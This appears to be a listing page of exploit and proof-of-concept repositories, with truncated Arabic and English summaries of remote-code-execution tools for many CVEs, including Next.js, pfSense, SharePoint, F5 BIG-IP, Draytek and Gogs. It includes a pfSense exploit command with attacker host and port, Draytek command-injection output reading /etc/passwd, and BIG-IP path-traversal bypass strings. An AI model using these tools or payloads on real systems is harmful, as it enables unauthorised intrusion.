NextRce

NextRce - أداة استغلال RSC في Next.js CVE-2025-55182 أداة متقدمة لفحص واستغلال الثغرات في Next.js App Router تم التطوير بواسطةMitsec 🔥 ميزة جديدة: وضع تخطي WAF UTF-16LE غالبًا ما يتم حظر الحمولات القياسية التي تحتوي على كلمات رئيسية مثل childprocess أو execSync بواسطة جدران الحماية لتطبيقات الويب...

CVE-2026-0073

0-Click RCE في أندرويد ثغرة حرجة CVE‑2026‑0073 في ADB الخاص بأندرويد، وهي ثغرة لتجاوز المصادقة في التحقق من شهادة TLS الخاصة بالخفي adbd، وتحديدًا في وظيفة adbdtlsverifycert، حيث يجعل التحقق من شهادة TLS خاصية التصحيح اللاسلكي Wireless Debugging تقبل مهاجمًا كما لو كان جهاز كمبيوتر مصرحًا به...

CVE-2014-4688

CVE-2014-4688 python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense...

CVE-2026-57941

A flaw was found in the modhttp2 module of Apache HTTP Server. A remote, unauthenticated attacker could exploit a use-after-free condition—where memory is accessed after being released—through re-entrant processing of shared session buffers. This flaw can allow an attacker to potentially execute...

CVE-2026-32941

ثغرة على مستوى إطار العمل بأكمله في Sliver C2 تتيح تنفيذ حجب الخدمة Denial of Service عن بُعد دون مصادقة، من خلال تحفيز تخصيص ذاكرة غير مُتحكَّم فيه CWE-789 / CWE-400، مما يؤدي إلى انهيار العملية بالكامل بسبب نفاد الذاكرة Out-of-Memory / OOM. المراجع: Tenable خطوات إعادة الإنتاج: 1. استخراج بيانا...

CVE-2025-54100

CVE-2025-54100 – إثبات المفهوم لتحليل استجابات PowerShell إثبات مفهوم موجز يوضح كيف يمكن أن يؤدي CVE-2025-54100 إلى تنفيذ تعليمات برمجية عن بُعد RCE في Windows PowerShell 5.1 من خلال تحليل HTML خبيث. Table of Contents ما هو CVE-2025-54100؟ كيف يعمل إثبات المفهوم البدء السريع الاستغلال من جهاز...

CVE-2020-8813

CVE-2020-8813 الاستغلال الرسمي لثغرة تنفيذ الأكواد عن بُعد في Cacti v1.2.8 CVE-2020-8813 تنفيذ الأكواد عن بُعد قبل المصادقة في Cacti v1.2.8 تنفيذ الأكواد عن بُعد بعد المصادقة في Cacti v1.2.8...

CVE-2025-15700

The AWP Classifieds WordPress plugin before 4.4.9 does not validate the type of files extracted from an uploaded ZIP archive during its listing-import feature, allowing users with the AWP Classifieds WordPress plugin before 4.4.9's management capability to upload arbitrary PHP files to a publicly...

CVE-2017-12149

CVE-2017-12149 CVE-2017-12149 JBOSS as 6.X إلغاء التسلسل نسخة الصدفة العكسية واجهة رسومية معاد كتابتها بناءً على وضع سطر الأوامر للمؤلف التفاصيل:http://www.cnblogs.com/sevck/p/7874438.html...

CVE-2025-53770

Divine Absolute - أداة استغلال CVE-2025-53770 نظرة عامة Divine Absolute هي أداة استغلال متطورة بلغة بايثون تعمل بمعالج تفاعلي wizard تستهدف CVE-2025-53770 ، وهي ثغرة حرجة CVSS 9.8 تسمح بتنفيذ التعليمات البرمجية عن بُعد RCE دون مصادقة في Microsoft SharePoint Server المحلي إصدارات 2016 و2019...

CVE-2020-5902-rce-gui

أداة استغلال ثغرة CVE-2020-5902-RCE الإصدار 1.0 بواجهة رسومية GUI تعليمات استخدام الأداة في مكان تنفيذ الأوامر، إذا فشل التنفيذ في المرة الأولى، يمكن المحاولة عدة مرات. فحص عناوين الهدف بشكل مجمّع تنفيذ الصدى العكسي Reverse Shell فحص عنوان هدف فردي رفع الملفات رابط تحميل البرنامج الرابط:...

CVE-2020-8515

CVE-2020-8515 Draytek CVE-2020-8515 PoC كنت أحتفظ به. المضحك أن الأمر المحقون يُنفَّذ مرتين، انظر هنا: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown Linux Vigor3900...

CVE-2024-1651-PoC

CVE-2024-1651 تم اكتشاف هذا الـ CVE بواسطة كارلوس بيلو من فريق Fluid Attack الهجومي. يناقش هذا الاكتشاف إلغاء تسلسل الكائنات غير الآمن Insecure Object Deserialization للحصول على تنفيذ التعليمات البرمجية عن بُعد RCE. لقد قمت هنا بإنشاء إثبات مفهوم PoC أسرع وأسهل في الاستخدام. لذلك، إذا أراد أي شخص...

CVE-2020-5902

CVE-2020-5902 BIG-IP RCE تحديث استخدام /hsqldb%0a/ قواعد التحايل لـ Java Deserialization أو /hsqld%b /hsqldb; /tmui/login.jsp/..;/hsqldb Redirect 404 / bypass /hsqldb; Redirect 404 / bypass /hsqldb%0a include 'FileETag MTime Size Redirect 404 / Redirect 404 / ' fix:...

CVE-2025-8110

CVE-2025-8110 – Gogs ≤ 0.13.3 RCE PoC إثبات مفهوم PoC لثغرة CVE-2025-8110 ، وهي ثغرة كتابة ملفات تعسفية بعد المصادقة في Gogs ≤ 0.13.3، ناتجة عن معالجة غير صحيحة للروابط الرمزية في واجهة PutContents API. يمكن لمستخدم مصادق إنشاء التزام commit برابط رمزي يشير إلى .git/config، ثم استخدام الواجهة...

java-remote-class-loader

This tool allows you to send Java bytecode in the form of class files to your clients or potential targets to load and execute using Java ClassLoader together with Reflect API. The client receives the class file from the server and return the respective execution output. Payloads must be written ...

java-remote-class-loader

تتيح لك هذه الأداة إرسال كود بايت جافا Java bytecode على شكل ملفات كلاس class files إلى عملائك أو الأهداف المحتملة لتحميلها وتنفيذها باستخدام محمل الفئات ClassLoader الخاص بجافا مع واجهة Reflect API. يستقبل العميل ملف الفئة من الخادم ويعيد مخرجات التنفيذ المقابلة. يجب أن تُكتب الحمولات Payloads...

Ctirix_RCE-CVE-2019-19781

CtirixRCE-CVE-2019-19781 Citrix ADC RCE cve-2019-19781 فيديو تابعنا Vulnmachines YouTube Twitter Facebook LinkedIn...

cve-2024-32002-poc-rce

CVE-2024-32002 POC لتنفيذ الأوامر عن بعد RCE POC لـ CVE-2024-32002 يوضح تنفيذ الأوامر عن بعد RCE. انظر cve-2024-32002-poc-rce لمستودع الوحدة الفرعية المرتبطة. ما يحتويه هذا المستودع رابط رمزي symlink باسم عشوائي يشير إلى مجلد .git. ملف .gitmodules يعرّف الوحدة الفرعية الضارة. كيفية إعادة إنشاء هذ...

cve-2022-42889-intercept

cve-2022-42889-intercept بالنسبة للإصدارات الأقل من Java 11 يجب الانتباه؛ الإصدارات الأحدث أزالت مفسّر Javascript هذا الحل موجّه إلى Java 8 اعتراض الوسائط غير القانونية عبر معاملات بدء تشغيل JVM و jps pid بدء سريع -----------------------load...... cve-2022-42889 check start cve-2022-42889...